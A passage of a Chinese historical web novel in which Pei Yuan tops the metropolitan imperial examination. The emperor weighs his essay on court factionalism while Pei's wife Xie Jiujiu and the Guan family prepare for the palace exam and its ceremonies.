沈霁是裴元能带着去关家,又想方设法拐着弯去严学士府的挚友。 当年裴元还在青松书院读书没有过继的那几年,也只有沈霁能被他带回小院,让关令仪做一顿饺子,两个半大小伙子吃得恨不得撑着墙才能往外走。 沈凤岐和沈清蘅对关令仪来说就是自家的子侄,他们去关家那就是去亲戚家,自然也没有什么去不得的道理。 孩子有孩子们的去处,不管在家还是出门还是去关府,都用不着沈霁旁敲侧击的这么说。 裴元端起茶壶给沈霁把麦冬茶倒满,“有什么话你直说,别拐弯抹角的往孩子身上扯,几个孩子适应得都很好。” “我能说什么,还不是留在京城的事。” 之前于氏是一直没想过要带着孩子跟着沈霁来京城的,后来临时改了主意,光是收拾行李包袱家中就忙了个天翻地覆,更不要说家中爹娘对此一点准备都没有。 在他们心里,儿子考完试是要回去的。即便眼下不回去,家中还有儿媳和孙儿,一年三年、五年十年总归是要回去的。 但眼下儿子是带着媳妇孙子一起走了,沈家父母当下为了儿子赶考自是说不得什么,但事后或许是舍不得或许是害怕儿子一去不回,从岳州寄来京城的家信这几个月就从没断过。 前面几封信还多是问我们在京城过得怎么样,适不适应、手里缺不缺银子。等过完年寄来的这几封,说的便都是家中母亲病了,弟弟妹妹年轻不懂事,家中没个主心骨也没个掌家的娘子这类的话。” “所以你就分心了 ,在考场里也想着这些不知所谓的杂事乱了章法?” 听着沈霁的话裴元眉头皱得能夹死蚊子,当了这么多年的朋友他还能听不出沈霁的弦外之音。字字句句说的都是家事,其实说的还是考试。 “没有!”沈霁一听这话连连摇头,“真没有!” “入了贡院便犹如上了战场,我读了这么多年的书从不敢懈怠,哪里敢拿这个开玩笑。”沈霁生怕裴元不信,又提着嗓子解释了几句。 裴元探过大半个身子凑近了沈霁,盯着他的眼睛看了好一会儿,确定这厮没跟自己说话才重新坐回椅子里,“那你到底什么意思,别叫我猜,我越猜越没个好话。” “我觉得我这次怕是考不上,便是考上了名次应当也不会太靠前。” 这话说出来裴元倒是相信,天下才子如过江之鲫,沈霁在其中能争个中上都已然不易,点上了进士排名靠后这对他来说,亦是很正常的事。 “那又怎样?考不上难道回家不考了。这一路来京城是什么滋味你自己也尝过,千里迢迢跋山涉水都是轻的,你比我在外面的交际多,该比我听说得更多,光是今年潭州的举人就有两个病死在路上了。” 且不说路上多艰难险阻,又要花费多少银子。只说来回耗费的时间,这事就想都不该想。 “大丈夫志在四方,你我能托着妻儿远行,却绝没有往回走的道理。你若中了进士为官四方,到那时难道你连官都不做了,也要回家去不成。” “那不一样!”沈霁被裴元说得脸色有些难看,“再说我只是想想,也没说一定要回去。” “你爹娘不是非要你回去,他们比你更舍不得你的前程。他们是想要你把嫂子和两个孩子送回去,对不对。” 有些话,当儿子的即便知道也不好说出口。但裴元向来没有这个顾忌,毕竟父慈子孝在他这里就是个笑话。 沈家二老是想要沈霁把媳妇孩子送回去,让于氏代替沈霁在二老跟前尽孝。至于沈霁一个人在外面那也好说,且不提身边有奴仆们伺候,便是少了人,再纳一个姨娘跟在身旁也不妨嘛。 沈霁当然知道爹娘的意思,他狠不下心真不管爹娘,也不愿意把妻子儿女送回去,想来想去竟然暗自期盼要是自己没考上倒也好了,到时候就带着妻儿回老家,这样就谁都不为难了。 “你看看你这嘴,非要把什么都戳破了才行,也就我受得了!” “你放心,换个人我且用不着操这个闲心。”裴元没好气地又给沈霁把麦冬茶给倒满。 “明天就要张榜,你榜上有名就给我麻溜地去准备馆选,选上了皆大欢喜,选不上留在京城等着任官,我给你想办法去个好地方。到时候由着你是把爹娘安抚好还是接去身边尽孝,都随你。” “要是名落孙山,你就趁早买个宅子定下脚来。要不然到时候你回去了,嫂子和孩子都不一定跟你回去。” “你想办法?你能想什么办法,还不是去求关家。”当初裴元对关家一直都是敬着客气的态度,现在一而再再而三地为了自己去求关家两个舅舅,沈霁多少有些不愿意。 “怕什么,等来日我入了翰林院,关家用得着我的地方更多。要他们安置一个你,不过是我从他们那里要些回报,很公平。” 有些事就得与光同尘,这次考试裴元对自己有底气,唯一的不确定只不过是明日到底能排第几。但不管排第几,自己这几年都注定要给关家当门面。 既如此,趁着好开口能开口的时候,当然得让他们尽心尽力替自己把沈霁安排好。毕竟自己一个人入翰林院太孤单,身边总该有几个挚友亲朋才好。 “你就这么确定,你一定能考上?” “我就这么确定,我一定能考上。” 裴元这幅成竹在胸的样子看得沈霁直翻白眼,随即便起身匆匆往外走。跟他说了这么会儿话就被灌了满肚子的麦冬茶,人都要憋出毛病了! 这一边两个等着张榜出成绩的举人老爷在为了未来忧愁思虑,另一边决定他们人生的那张名单,已然从贡院出来入了皇城。 “陛下,贡士名册礼部尚书张大人呈上来了。” “把人叫进来吧。” 今年春闱的主考官是礼部尚书张傅,今年刚要做五十大寿的张大人,先是入了内阁后又被钦点为春闱会试的主考官,可谓是正经的春风得意。 本来模样中等又长得有些黑壮敦实的张大人,这会儿拿着名册入了乾清宫暖阁,整个人看上去都比往日身姿更挺拔,脸色更红润。 “启禀陛下,臣不负陛下期望,贡士名册已经选出来了。” “说了多少次了,稳重些。殿试还没过,爱卿的尾巴可已经翘起来了。” 高坐庙堂的皇帝开口便带着浅浅的慵懒之意,话说出口虽是教训,可殿内只要会喘气的都明白皇帝对张大人很满意。 不管是风平浪静没出现漏题舞弊的流言,还是定下‘君子中立而不倚’的考题,都让这两年已经现了些许老态的皇帝十分满意。 现在坐在龙椅上的这位爷,从年轻时自己朋党争来了皇位,到前几十年搅动风云由着朝堂上各党派互相攻讦制衡,再到如今眼看着结党之势越来越盛,而自己却一年比一年老迈虚弱。 一辈子跟前朝先帝们做派相悖的圣人,终于醒悟过来党争要不得。 但党争之风一旦成了气候,就再没有停歇的时候。便是找借口由头把党争的核心老臣们杀的杀贬的贬,也依旧会有后面的人一往无前的补上来。 除非皇帝下死手把整个朝廷乃至整个天下,卷入党争的官吏都杀上一遍,或许那样还有机会回头,可皇帝能这么做吗敢这么做吗? 他不敢,所以他只能投鼠忌器一般重用锦衣卫,固执地挑选新的没根基的读书人入朝,想要一点点把朝堂上的老人替换下去。 臣子们也知道皇帝不敢,所以他们也由着皇帝重用锦衣卫、挑选新的官员,反正用不了多久,这些人也还是会选择这个党,或是那个党的。 帝王和臣子们各有各的心思,各自也知道对方的心思,但又都不互相戳破,朝堂上还是好一副海晏河清君臣相得的局面。 皇帝打开今科取的进士名单,从后往前一路看,看到最前面几个,排在第一的两个字上顿了一下,“这个裴元,可是关家那个未嫁人的娘子生的儿子。” “启禀陛下,正是那个裴元。” “听说他入赘了?” “是,裴元先被过继做了嗣孙,后入赘给谢家娘子。如今谢家娘子分了家,也跟着一起来了京城。” 说话的是站在一旁毫不起眼的一个内侍,皇帝听了这话点点头,前日下午关宁业才递了一桩案子进来,现在裴元的名字又排在榜首。 皇帝有些老迈的手指在裴元的名字上来回摩挲半晌,“去把裴元的考卷来过来,朕要看看。” 第100章 第100章来了来了,我来了…… 关家,对于皇帝来说一直都是一个特殊的存在。 关家老太爷曾做过还只是二皇子的皇帝的老师,不是唯一的那一个,甚至不是为主的那一个,但皇帝至今都觉得他从关老大人身上学到的东西最多,最有用。 关如璋只比皇帝小两岁,年轻的时候曾给他做过两年伴读。后来关家遭贬谪的时候关如璋十五岁,已经给当时的太子效力了将近一年。 十五岁的少年郎,正是意气风发张扬快活的年纪,连跑腿都带着一股子冲劲儿,跟后来再回京城之后那个八面玲珑圆滑得甚至有些没骨气的关家大爷,压根就不是一个人。 也是从权力场上尸山血海中趟过来的皇帝从未问过自己的小伴读,这些年经历了什么,个中滋味除了自己实在不足为外人道,自己与他都是一样。 正因为如此,当初从各家 挑选二郎入锦衣卫,皇帝是专门给了关家机会的。幸好关宁业那小子抓住了,如此一来也免了自己一场难受。 现在又多了一个跟关家有关系的人,等待裴元的时间里皇帝用手指来回摩挲在裴元的名字上。 “姓裴……”当年要是关家没出事,关家那个大女儿一定会在后宫有一席之地。只可惜啊,那么个从小就有一副好容貌的女子,竟便宜了岳州那么个无赖乡巴佬。 “陛下,裴相公的这个裴,是裴家另一支的裴。” “啰嗦,难道朕不知道他是被过继出来的。” 皇帝身边的刘太监是自小陪着他长大的,从儿时到出宫,从二皇子府到东宫再到回到皇宫,这人一直都在。 现在由他掌管司礼监,民间的传言司礼监的掌印太监便是名副其实的宰相,便是内阁的阁老见了他们,也不敢不给面子。 他们或许不如内阁的阁老有名望有体面,朝廷和天下怎么维持怎么运作也得靠这些内阁的大人们。但他们能坏事啊,真要是得罪了他们,他们给人下蛆坏事,那可是一干一个准。 刘内监在皇帝跟前一向说话随意,一句话说得不好皇帝便要斥责。但人人都知道这不算什么,斥责过了刘公公依旧是圣上身边最受信任的人。 裴元的试卷排在第一,用不着翻捡很快就有人送了来,一同送来的还有第二、第三名的试卷,以防皇上兴致来了要看,这要是让圣上等第二轮,底下伺候的人就该挨罚了。 皇帝最看重的题目只有一道:君子中立而不倚。本质上这道题目是要探究考生对结党和党争的看法,也是如今朝堂甚至读书人中最不可忽视的一个问题。 当官的要分边站,要是不选边站这个官很快就要当不下去。 师承、籍贯、学派、官职等等等等,都能成为官员之间用来区分你我的依据。你是江东的我是江北的,你师承何处我又师承何处。 即便同年考出来的同窗,甚至还是同一个书院出来的,也能因为自身学派的问题,再分出个细枝末节的不同来。 有人觉得这样很好,君子和而不同,有什么话摆到台面上来说,省得背地里捅刀子。有人觉得这就是胡闹这就是朋党,只要意见不合就一定要分个对错,从而打压贬谪。 而对于坐在高堂之上的皇帝来说,他只是纯粹觉得那些官员争吵辩驳的时候很嘈杂,整个朝堂像是被人赶了五百只鸭子进来,你说你的我吵我的。 而皇帝就是坐在最上面的菩萨,从看戏到不耐烦,皇帝的心里是再也忍不得他们了。 心里想着朝廷里那些朋党的糟老头子们,皇帝打开裴元试卷的时候脸色多少有些不虞。 站在下边的张傅和在皇帝身旁伺候的刘太监都不敢出声,连呼吸都小心轻缓了不少,直到皇帝一拍桌子叫了一声好,张傅悬着的心才重新落下。 作为主考官,挑选出来的会试前三名都不能只有才学兼备。这是给朝廷亦是给圣上选材,他得明白自己的皇帝陛下需要的是什么样的人才。 不能说陛下现在想要能只忠心于陛下的臣子,他却挑了一堆身后派系林立,又或者从行文遣词间就能看出来不对劲的考生。真要是那样,自己这个会试主考官,这辈子也就这么一回了。 “听说这个裴元没有正式拜到严老门下,是不是有这么一回事。” “回陛下的话,裴元的授业恩师是青松书院的崔鹤儒,今科的主考官是臣,他的座师也是臣。他和严学士的关系,确实算不上师承。” “他的文章你看了?你觉得他写得有没有道理。” 君子中立而不倚,解这道题不难,但最后在束股收尾的时候裴元却加了两句话。君子中立不偏不倚实乃正道,但良禽择木而栖却也是人性使然。 裴元觉得有时为了争辩到底如何才算中立,什么才是正道,一时之间是辩不出个结果来的。科举出来的考生入了仕途,就宛如无根的飘萍,本能的选择能遮风挡雨的大树,这本无错。 所以有时候选边站不是错,错的是有些长歪了的大树。而要是并不能一口气把那些长歪了的大树全部连根拔起,倒不如引导这些官员们去依附正直的、没长歪的大树。 有枝可依便可安心,安心之后就该多低头看看脚下。与其站在原地无休止的争执到底那条路才对,不如自己脚踏实地的往前走,便是错了,也总比一直这么光耍嘴皮子要强。 “臣觉得,此考生说得有理,却也多少有些圆滑。”裴元这份答卷,不光对还十分大胆。 这道题目除了几个脑子不知道扔哪里去了的写跑了题,所有考生的立意都是该如何守中正之道刚正不阿,还有一半则是大胆抨击朝廷如今朋党党争之现象,说得都对,但都没什么用。 而裴元这话却是写到众人的心坎上去了,只是每个阅卷的考官看完之后都觉得自己是良禽该择的那苍天大树,别人都是长歪了的烂木头。 此刻的圣人则是从中得到了灵机,之前只想着如何制衡打压朝堂上相争的各党各派,却怎么没想过把人直接收罗到自己身边。 谁说自己这个皇帝就只能把人收罗到身边放到锦衣卫或是东西二厂里去,做些摆不上台面,动辄就要被那些文人官员诟病的事情。 都是权力,有用就行,等真的把这些权力递到他们手里的时候,他们真的还会因为这个权力是谁的不是谁的而往外推吗?这棵大树与其扶持这个拉拔那个,着实倒不如自己来当。 谁也不知道放榜前一夜的乾清宫暖阁里发生过什么,裴元也不会知道自己的文章给即将年迈帝王,又带去了什么样的灵光一闪。 转过天来,一大早家里就热闹起来了。 还是老规矩,家中只要有什么大事,厨房里掌勺的就是大头。三个出去偷师学艺,想要把过江龙学成地头蛇的人,第一个放弃回来的就是大头。 厨子本就是个苦差事,想要把厨艺学成那就更加要吃大苦头,就这还不一定能学得成。 所以当初老韩才让大儿子出去学厨自己单干,亲儿子留在身边自己手把手的教,实在是下不了那个狠心。 刀工和手艺是骗不了人的,大头一拿刀人家就知道你是带着手艺来的。即便是上工之前什么都说好了也没瞒着人家,可做起活来还是处处掣肘。 你一个外来的厨子,没正经拜师没伺候师傅三年就想偷学手艺,做梦去吧。 被排挤的大头洗了大半个月的碗,刷了大半个月的锅,白案上的家伙事他连碰都没碰过,厨房里的人都跟防贼一样防着他不说,还天天想从他这里套出几个南方菜的菜谱来。 大头又不是个傻子,知道再这么耗下去也没用就要足了工钱回来了。回来那天正好碰上饭点儿,本来就年轻力壮特别会吃的大头,一口气吃了三海碗饭,最后那点炒肉的油汤也被他拿来拌了米饭。 吃完了,才捧着肚子感慨了一句果然是在家千日好出门一时难。随即 ,平日里最大大咧咧看着也没什么执念的人,一下子就红了眼眶。 原来当初从容县来京城并不算真的背井离乡,从这个宅子,或者说从谢九九的羽翼下出去才是真的没了庇护。 大头这才明白这一路自己吃的苦都不是苦,吃穿住行有人安排,月钱从不会晚一天发,从来不要自己操心明天的日子怎么过。便是东家去关家住,厨房里的粮油米面都得给大家伙准备得满满登登。 所以大头吃完了饭一抹嘴,只摇头说再不出去了。便是眼下云客来弄不起来,他就安心待在家里干活,厨房里是不缺人,但也不能天天馒头面条吧,自己每天每顿炒几个菜这总能行。 真正踏实下来的大头,也不老嘀咕京城的菜不如家里多不如家里新鲜了,有什么菜就做什么菜,一大早的愣是让他准备出来一大桌席面来。 清早吃不下多少,但所有人都坐下多少吃了些。填饱了肚子才领着孩子出门,往早就定好的酒楼那边去。 这一次出门等待放榜,关家干脆在离贡院不远的地方包下了整整一层楼。除了金氏和杨氏留在家里陪老太太,其他人都出来了,都来凑这三年一次的热闹。 昨天晚上谢九九还觉得时辰过得慢,吃了晚饭在屋里坐不住,拉着裴元在院子里来来回回转圈的走。 好不容易熬到能睡觉的时辰,两人躺在床上又怎么都睡不着。不过半个时辰的功夫谢九九起身看了八次西洋钟。西洋钟是庞氏过年的时候给的,确实比以前用的更香要方便多了。 睡不着,时间像是凝固了一般。实在忍不了的谢九九干脆翻身坐到裴相公身上,闲着也是闲着,不如干上一场什么时间都过去了! 自从要会试,谢九九就跟出家当了尼姑一样。现在难得主动,到了嘴边的肉裴相公怎么可能扭捏犹豫,抱着妻子翻来覆去折腾了半夜,直到外边天都蒙蒙亮了,才鸣金收兵。 做了一大场,谢九九此刻只觉困得要命,给她一张榻她马上就能睡着。至于丈夫能不能考中状元,这事不管是听天由命还是靠裴元自己使劲努力,都跟自己没什么关系了。 吉时到,远处贡院外放榜的人群已经堵得水泄不通,杏榜就像往热油里泼了一瓢冷水,整个人群顿时就沸腾起来。 这一次曹勇还是跟着关家的仆人往里挤去了,也不知道过了多久,两拨报喜的人风驰电掣一般往酒楼这边来。一贯稳重的关如璋腾一下站起来;“快说,多少名!” “老爷,中了!都中了!” “沈老爷中了贡士二百零八名,表少爷、表少爷中了,中了头名会元!”【你现在阅读的是 】 100-110 第101章 第101章状元郎 报喜的人话音未落,高义就已经像一股风一样窜出去往岳州会馆的方向跑。 关家跟着过来的两个管事也赶紧派人回府报信,有府里的这层关系在,表少爷又这般好的才情风姿,等到了殿试上怎么也不可能落到二甲之后。 关家这个时候能出这么个表少爷,不管是对两个老爷亦或是还在任上这几年还不能回京的大爷来说,都是最好最及时的助力。 高义一路没歇,一口气跑到会馆门口,才发现人家这边也已经得了喜讯庆祝起来了。 容县、岳州乃至整个潭州,从本朝开国这么多年以来都没出过一个会试第一名的成绩。在得知裴元高中头名以后,当即就让人把会馆早就准备好的鞭炮点燃。 爆竹炸过之后的红纸铺了满地,已然有得着消息的富商和士绅们往岳州会馆这边来道贺。能出一个会元,对于一地一乡来说从来就不是一个人的事。 好几个富商围着会馆的会长你一言我一语,问的都是这位会元老爷如今人在何处家住何处,给老爷送礼怎么送合适,到时候会馆牵头摆宴席,裴老爷能不能赏脸来一趟。 人人都有自己的小心思,裴元来京城之后一向低调,除了于会长其他人还真不知道裴元住在哪里, 人多嘴杂的会长也被问得头昏脑涨,他当然认识裴元,却也仅仅是认识而已。 当初裴元来了京城,主动往会馆这边来了两次,一次是为了留下自己的地址,好让沈霁和老白到了京城能找到自己。第二次是左等右等等不来人,又往会馆这边来问一问。 两次裴元身边都跟着关杰,出入也都是坐的关家的马车,跟这位余会长客气归客气但丝毫谈不上亲近。 再有一次自己主动找上门去,是因为要把之前左大人牵头弄好的文集送过去,裴元当时是解元,数他出的银子最多。沈霁又住在这边,两人一起认领的文集一起送过来,竟也堆满了半个驴车。 余会长自己本身也是个读书人,只是中举之后就再没有考中进士。 原本留在会馆是想要找个容身之所等着吏部‘听选’,谁知听选左等等不来右等等不来,反倒是会馆这边被他经营得越来越好,再想走会馆和岳州就舍不得了。 之后由岳州当时的知府出面,给他在岳州本地谋了个闲职,人不回去依旧留在会馆主事。就这么着一个好好的读书人,就成了读书人里的好商人,商人里的举人老爷。 这么一个人精,怎么会不知道眼下这些富商们只是装出这幅急不可耐的样子,目的是为了从自己口里要到一个准话,不管什么时候都要把裴远舟给请来,好让他们攀附巴结。 三元及第百年难遇啊,这样不世出的人才出在南地,还是出在文风并不鼎盛的岳州容县,这对于整个总被人戏称南蛮之地的学子考生来说,是一种莫大的鼓励。 而对于这些富商们而言,裴元现在就是个已经热了,但是还没有完全热的热灶。 现在凑上去还能有机会,要真等到殿试过后这位裴老爷入了翰林院,到时候怕是左大人要登他的门都得递帖子客客气气等着,哪里还轮得到自己。 人精于会长明白有些话不该自己来说,便一直支应着不肯给个准话。 直到看见站在角落问会馆的人要茶水的高义,这才赶紧抬手往他这边一指:“这位小哥便是裴老爷跟前的管事,您几位有什么要问的别问我啊,得问裴老爷的家人才是。” 高义差点没被一口水给呛死,自己来报个喜信怎么就稀里糊涂的回不去了。 幸好这样的场面昨天大娘子就猜着会有,就已经一再嘱咐过等明天放榜,不管家里两个老爷谁中了进士,都不要把人往家里引。 就说关家接了两位老爷去府里温书,准备下个月的殿试。等过两日府里就会摆流水席,到时候帖子会送到会馆于会长手中,各位到时候可都得去,不去都不行。 这是会试之前谢九九带着于氏去了一趟关家,跟冯氏和杨氏两人说定了的。 外头人人都觉得只要过了会试就万事大吉,毕竟一个月之后的殿试再怎么排名也不会再淘汰了,大不了就是个同进士呢,也是个结果啊。 可在谢九九看来,会试结束不过是刚刚开始。还有一个月才殿试,这一个月要稳住可比前面十几年要更难。 人啊,就怕穷人乍富。谢九九在云客来见过那种突然赚了钱的人怎么请客怎么挥霍,好家伙那银子那会子在他们眼里都不是银子了,那就是臭狗屎。 谁想要,捧着那人说几句好话他就什么都能给。 以前来云客来点一个小菜要一叠花生米一壶浊酒,就能在云客来消磨一下午的人,非得把云客来水牌上的菜从头到尾点一遍。 谢九九跟他说一个桌子摆不下,您一个人也吃不完啊。人家还脖子一梗非说谢九九拿下眼瞧他,气得谢九九当场叫人又搬了三张方桌子来,拼成一个大的八仙桌给他上菜。 菜当然没吃完,应该说压根没吃两口,人家就被凑在他身边闲汉泼皮哄着往赌坊里去了。 留下一桌子菜谢九九又不愿意浪费,干脆让何奎去码头上,把愿意来吃的兄弟们都叫来,甩开腮帮子吃了顿好的。 那人最后的结局是什么谢九九不清楚,反正不到半年的功夫他就又连一碟花生米都吃不起。再之后,就没在见过那人了。 现在的裴元和沈霁就是典型的穷人乍富,一个府城排不上好的富户之子加一个赘婿,再说最近这几个月跟着关家见过吃过,那也还是南地来的土包子。 人性和人心这东西都经不起掂量,金榜题名完正是脑子最发蒙的时候,还是躲着点儿那些想要涌上来锦上添花的人更好些。 所以谢九九跟关家商量好了,要是他俩考中 了就搬到府里来,还住在停云斋里,两家一起够住了。 住进来,流水席以府里的名义摆,不管是岳州容县的富商乡绅,还是京城关家的亲朋好友都方便招待,谢九九只管掏银子就是。 冯氏和杨氏一听这话哪有不愿意的,这些年家里不知道招待过多少投奔来的亲戚,管他绕了多少弯,只一句当年我家被你家牵连过,就不能不管。 现在正经的外甥眼看就要金榜题名蟾宫折桂,两个舅舅不帮着操办还有谁能出这个头。至于谢九九说的给银子,不叫府里的奴仆白忙一场,则被冯氏板着脸给拒了。 只说府里的下人你若觉得伺候的好,另外给多少赏银那是你这个表少奶奶的意思,现在舅舅给外甥摆流水席还要外甥出钱,传出去关家还要不要面子了。 有了关家这道坎,想要给裴元和沈霁办宴席的打算就黄了,会馆那边倒是摆了几桌酒席,却也没请太多人,能去的人都是余会长挑选过一遍的,至少不会在席间就做什么让人为难的事。 之后关家办流水席,他们送来的贺仪虽贵重但都不算出格。谢九九和于氏仔细检查过一番便全都收下了。这个时候这种贺仪都收了,就等于都没有收。要是全都不收,才显得太格格不入。 殿试的日期定在三月初十,京城三月的天终于渐渐暖和起来,柳条也抽了嫩芽,下过几场春雨天也没那么黄没那么干了。 住在关家的这大半个月,裴元在家的时间不多,大部分时候都是被关如璋或者关如琅带出去见各种人,他现在就是这兄弟俩最好带出门显摆的底气。 要不是还没正式授官进不了皇城,老太太都说老大高低要把远舟带进宫里,去陛下跟前也得显摆两圈。 而沈霁则是安安分分待在关家鲜少出门,每天按时起按时睡,白天看书温习功课,除了前面两天落下之外,第三天就该干嘛干嘛,仿佛这个会试还没开考一样。 唯一的闲暇的时间,就是逮着跟关继业一起玩疯了的沈凤岐读书。或许是真的有当教书先生的天分,还在被关如琅一直死磕磕不下来的关继业,竟然在沈霁手里学得还挺好。 等到殿试前一天的时候,关如琅已经打算跟沈霁商量,要是殿试过后他能过了翰林院的馆选留在京城为官,到时候他就把儿子打包送到沈霁那里去! 殿试这日谢九九终于没有再睡不着了,夜里裴会元压在自己身上哼唧哼唧跟她讨要之前欠下的粮。 谢九九则像极了又狡猾又苛刻的地主老财,只肯施舍给他几个亲吻,便抱着他的脑袋靠在自己肩膀上:“睡觉!” “放榜前你睡不着,非要拉着我这样那样,我哪次没依了你。如今换了我怎么就不成了,嗯?” 谢九九摩挲在自己额间头顶的手势,跟她哄阿满睡觉是一样的,裴元很喜欢。所以即便此刻满心满眼地不服气,却也没从妻子怀中挣脱出去。 “那能一样吗,放榜那天裴老爷您腰软腿软怎么都好,人家也看不出来咱们裴老爷究竟是床帏间累着了,还是等着放榜紧张得腿软。” 阿满今年都四岁了,两人做了这些年的夫妻,哪里还有什么话说不出口。 谢九九不光说,还故意抬起腿使劲儿压在裴元身上,把人戏弄得喘息声渐渐沉了,这才一翻身裹住被子不许他再干什么了。 第二天殿试,什么差错都没出。唯一的插曲是交卷之后的裴元被皇帝叫到跟前问了几句话,问了什么他回来没说关家两个舅舅也没问,就连谢九九也并不知晓。 殿试过后便是传胪大典,殿试那天皇帝把裴元叫到跟前亲自询问,问了什么底下的人没人听清,但并不妨碍所有人心中明白一件事,今科的状元郎,已然是定下了。 会试放榜之后,前三的试卷照例被张贴出来。裴元那一手好字和答卷内容,让人几乎挑不出错。 以前他还只是裴元的时候,外室子加过继出本枝再加入赘,桩桩件件都是他的原罪。后来他考中解元,即便有人私底下还拿他的出身当个短处嘲讽,也再没有人敢当着面提半个字。 现在这些事又都成了用来称赞裴郎君裴远舟的话,这么可出身还能坚持苦读多年,还能不抛弃糟糠,还能连中三元。这是什么,这就是奇才啊!这就是天下读书人的榜样啊! 外边的话越传越邪乎,早起在停云斋洗漱穿戴整齐,准备出门进宫的裴元则还拉着谢九九的手不放,一副今日你若不依了我,咱俩就没完的娇气模样。 “传胪大典之后要跨马游街,你来不来。” “我不来,要是有小娘子给你扔花,迷了你的眼可怎么办。” “今科的会元是个赘婿,家中还有个顶顶厉害河东狮,这个传言大娘子竟不知?” “去你的,什么时候了还跟我说这个。快走快走,今日要是误了时辰误了事,可真没地儿哭去!” 第102章 第102章状元楼 殿试过后只隔了一天便是传胪大典,科举是大事,往大了说是替天下选材,中进士跟鲤鱼跃龙门是一个道理,全国的学子心心念念盼的就是这一天。 往小了说,这些考出来的进士都是天子门生。每一次殿试和殿试之后的传胪大典,对于高中的进士们和落榜的举子们,都是一次强烈的刺激。 考中了的人,不论往后会选择什么样的路,此时此刻一定是陛下最忠心的臣子。没考中的人,也会被艳羡嫉妒刺激得更加发奋读书,只求这辈子还能有蟾宫折桂的那一日。 这样的典礼各方都十分看重,鸿胪寺、礼部、锦衣卫和禁军都出动了大批的人,不管是礼仪仪仗还是皇城内外的秩序,都容不得出一丝乱子。 “裴相公、裴老爷?再不赶紧出门,今科的状元万一被别人得了去怎么得了。” 都被谢九九推着走到屋门口了,裴元还在一再追问谢九九,等会儿跨马游街的时候她会在沿途什么地方等自己,院子里就已经传来关宁业阴阳怪气的声音。 过年前在严学士府里把话说清楚之后,关宁业和关如璋的关系多少缓和了一些,连带小冯氏每日里也多了笑模样。 本来也是,丈夫跟公爹关系差得几乎要成仇,自己过门这些年又只生了群英这一个女儿。 虽说姑妈私底下总跟自己说,这些都是他们爷俩之间的事,跟后院不相干。 但每次看着因为公爹被自己丈夫气得一佛出世二佛升天,而愁眉苦脸长吁短叹的婆婆兼姑姑,小冯氏难道还能装傻充愣当做没这个事,自己什么都不知道什么都不管? 可管又没法管,小冯氏长得明艳娇媚,成亲之前两人见过面,关宁业对这个妻子十分满意。 嫁给关宁业以来两人的感情也一直不错,但这个不错,是她不能管着关宁业啰嗦关宁业的前提下。 要是她说得多了,这人抬腿就走。要么去后头姨娘屋子里睡下,要么干脆去被镇抚司的衙门里,这一去就是十天半个月不见人回来! 关宁业就是这么个混不吝的东西,小冯氏拿他没法子只能在这件事上装成个泥菩萨,谁吵架了谁难受了她都装作不知道没看见。 可这么一来日子能有多好过?夹板气的苦只有小冯氏自己知道。直到年前从严府回来,关宁业突然就学会着家了,以前没事都愿意在衙门里耗着的人,现在忙得脚不沾地也知道回来睡觉。 早上跟着小冯氏一起去冯氏那里请安,时间宽裕还能留下来陪着冯氏吃个早饭。 冯氏不知道内情,关如璋关宁业父子两个都默契地把这事按下了不曾提过。应该说那天的事,后来也就只有关如琅知道,关家其他人包括还在任上的关平业都不知情。 冯氏只觉得儿子终于懂事了,连带小冯氏这个内侄女也被她夸了又夸。小 冯氏得了婆婆的夸,回头可不对着关宁业更加小意殷勤。 冯家虽不在京城,可在岭南那也是颇有名望的人家,毫不夸张的说在肇庆府随便指一个铺子一个山头,说不定就是冯家的。 从小在这样的家中长大,小冯氏又是她这一辈儿模样最出挑的一个孩子,要说家里不娇宠那才奇怪了。 这样养大的女子娇憨是有的,可要她小意殷勤处处体贴却多少有些难为人。关宁业也没见过这般做派的妻子,一下子就被她哄成了个傻冤家,让他干嘛就干嘛,全然没有人前关镇抚使的威风煞气。 不过这样的好日子,在裴元中了会元又在殿试上得了圣人召见之后就没了。 副镇抚使夫人是威风,但再威风也比不过谢九九这个会元娘子威风。尤其一想到自家丈夫本也中了举人,就差一步说不定自己也能捞个状元娘子当当,这心里头的气就不顺。 享受过小冯氏这般美妇人的小心体贴,这会儿即便她翻了脸,关宁业也不好说什么,只得一大早的以准备传胪大典忙得很为由躲了出来。 出来了,顺路就绕到停云斋这边来,打算把裴元和沈霁这俩新出炉的宝贝蛋带上,谁知一进院子就撞见还在跟谢九九起腻的裴远舟,和满院子已经对此十分习惯,谁也不侧目多看一眼的众人。 “今日打马游街人肯定多,你先告诉我今日你们定了哪家酒楼,到时候别错过了你。” “你问这么多做什么,我还能让你错漏了我?快别磨叽了,二表兄都来了还不快走。” 沈霁从厢房那边出来,满脸全是见怪不怪。 他扯了扯身上的进士服整个人看上去精神极了,住在关家的这段时间沈霁的状态彻底平复下来,什么回去不回去的?人往高处走,既出来了就没有再回去的道理! 沈霁会试排名在二百零八,今科总共取了三百进士。殿试之后一甲三人,二甲八十人,剩下全归为三甲。 按照这个排名,沈霁妥妥的在三甲中。但前日殿试他发挥得着实不错,回来把答卷的文章默写一遍,关家两个舅舅看过之后都说,他要是会试的时候有这个状态,必能入一百名以内。 倒是关宁业看了文章直笑,说他到底跟裴远舟是好得能穿一条裤子的挚友,这篇文章陛下一定会喜欢的。再加上本朝选官又十分看重仪表相貌,沈霁殿试之后能不能入二甲,倒是真说不准。 “远舟,赶紧走吧,今日要紧可不能迟了。” 今日家中女眷带着孩子会在沿途哪里等着,沈霁也问了于氏。但于氏也只是笑着摇头,只说到时候你们就知道了,总之不会叫你们看漏了便是。 “走吧走吧,弟妹多能干的人哪里还要你来啰嗦。别耽误功夫了,您今儿是角儿怎么都成,我这身上还有差事呢!” 关宁业实在受不了裴元站在廊下还要拉着谢九九衣袖不放的样子,人前也没见他这么黏糊过,怎么到了妻子跟前就这幅德行了。 关宁业一路嘀咕,但到底没问出口。自己这个当表哥的撞见表弟和弟妹亲昵就够尴尬的了,还拿这个来说嘴也忒没德行了。 三匹骏马停在皇城门口,腰跨绣春刀的关宁业冲两人点点头,便下马往侧边先进了皇城。 今日皇城内外的秩序安全都由锦衣卫负责,关宁业此刻脸上褪去了最后一丝随意,冷峻着眉眼浑身都散发着肃杀之气,好几个来得早的新进士见他从自己跟前路过,都忍不住往后退了几步。 裴元是会试第一名,吉时一到便跟着礼部引导的官员,带着今科所有进士入皇城,站在丹墀下等待皇帝升殿。 站在殿外,裴元忍不住抬眼环视整个皇城,很多地方都看不分明,只能看到明黄色的房檐屋角,但光凭这一个角裴元也能想象得到其掩藏在后面的宫殿到底有多雄伟。 